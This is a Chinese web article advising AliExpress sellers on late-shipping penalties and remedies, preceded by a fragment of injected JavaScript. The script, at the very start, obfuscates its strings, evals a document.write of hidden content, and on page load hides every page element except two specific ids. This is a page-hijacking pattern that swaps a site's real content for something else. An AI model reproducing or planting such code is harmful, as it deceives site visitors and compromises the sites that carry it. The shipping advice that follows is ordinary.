'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i + "***" + a + "**" + b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") { document.body.children[i].style.display = "non" + "e" } } catch(e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch(e) {} }
收藏本站 让广大创业者及微小企业便捷、省心、省钱。

跨境电商知识:速卖通发货超时是否会被罚款


本期分享的境外电商知识是速卖通发货超时是否会被罚款,速卖通发货超时是否会被罚款?如何进行补救措施?

随着电商行业的迅速发展,越来越多的卖家选择在速卖通上经营。速卖通作为一家跨境电商平台,对于卖家的发货时间要求越来越高。因此,很多卖家都遇到过发货超时的情况。那么,速卖通发货超时是否会被罚款?如何进行补救措施?下面就让我们一起来了解吧。

一、速卖通发货超时的定义

速卖通规定,在买家付款后,卖家需要在规定的时间内发货,否则就算是发货超时。当前速卖通官方的发货超时时间是2天。

二、发货超时是否会被罚款

根据速卖通官方的规定,如果卖家发货超时,平台将会对卖家进行一定的处罚。对于每个订单的惩罚力度,主要体现在三个方面:商品评价、发货时间和投诉率。具体而言,卖家如果发货超时,将会对卖家在这三个方面造成一定程度的不良影响。

1、商品评价

发货超时关乎到买家的收货时间,让买家感觉不到卖家的服务质量。而卖家的服务质量就是买家对商品的评价标准之一。如果卖家习惯性地发货超时,那么必然会影响买家对商品的评价。

2、发货时间

根据速卖通官方规定,卖家需要在付款后的两天内发货,卖家若不能按时发货,将会产生一定程度的不良影响,因此对于卖家的信誉值也会造成影响。

3、投诉率

如果卖家的发货超时频繁,可能会引起买家不满意而产生投诉行为,从而增加平台的维权成本,最终可能被采取封号等严厉措施,因此卖家的投诉率也可能会受到影响。

三、如何进行补救措施

如果卖家无意中或不可避免地发货超时,可以考虑以下方式进行补救:

1、及时与买家沟通

如果发现订单即将超时,卖家可以积极与买家沟通,告诉买家发货情况,并给出具体的解决方案,获得买家原谅。

2、增加物流速度

如果在发货过程中发现物流速度缓慢,可以和物流公司联系,尽快处理订单,以便更快地将商品交付给买家。

3、提高服务质量

卖家可以从自身出发,提高服务质量,增强买家对自己的信任度。例如,可以在商品描述中给出更加详细的信息,让买家能够更好地了解商品情况。

总之,卖家在经营速卖通店铺的过程中,要注重发货时间的控制,规避发货超时的情况。如果真的发生了发货超时,卖家也可以采取一些措施,进行补救,降低不良影响。

相关文章

扫描二维码关注我们

扫描二维码 关注我们